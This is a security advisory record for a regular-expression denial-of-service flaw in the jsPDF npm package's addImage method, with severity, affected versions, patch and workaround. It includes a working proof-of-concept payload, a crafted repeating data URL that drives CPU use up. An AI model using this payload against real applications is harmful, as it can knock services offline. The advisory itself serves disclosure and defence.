GHSA-w532-jxjh-hjhj

Suggest an improvement
Source
https://github.com/advisories/GHSA-w532-jxjh-hjhj
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-w532-jxjh-hjhj/GHSA-w532-jxjh-hjhj.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-w532-jxjh-hjhj
Aliases
Downstream
CGA (60)
Published
2025-03-18T21:07:47Z
Modified
2026-09-10T03:50:23Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
jsPDF Bypass Regular Expression Denial of Service (ReDoS)
Details

Impact

User control of the first argument of the addImage method results in CPU utilization and denial of service.

If given the possibility to pass unsanitized image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.

Other affected methods are: html, addSvgAsImage.

Example payload:

import { jsPDF } from "jpsdf" 

const doc = new jsPDF();
const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';

const startTime = performance.now()

try {
 doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} catch (err) {
  const endTime = performance.now()
  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)
}

doc.save("a4.pdf");

Patches

The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1

Workarounds

Sanitize image urls before passing it to the addImage method or one of the other affected methods.

Credits

Researcher: Aleksey Solovev (Positive Technologies)

Database specific 
{
    "cwe_ids":  [
        "CWE-400",
        "CWE-770"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2025-03-18T21:07:47Z",
    "nvd_published_at":  "2025-03-18T19:15:51Z",
    "severity":  "HIGH"
}
References

Affected packages

npm / jspdf

Package

Name
jspdf
View open source insights on deps.dev
Purl
pkg:npm/jspdf

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
3.0.1

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-w532-jxjh-hjhj/GHSA-w532-jxjh-hjhj.json"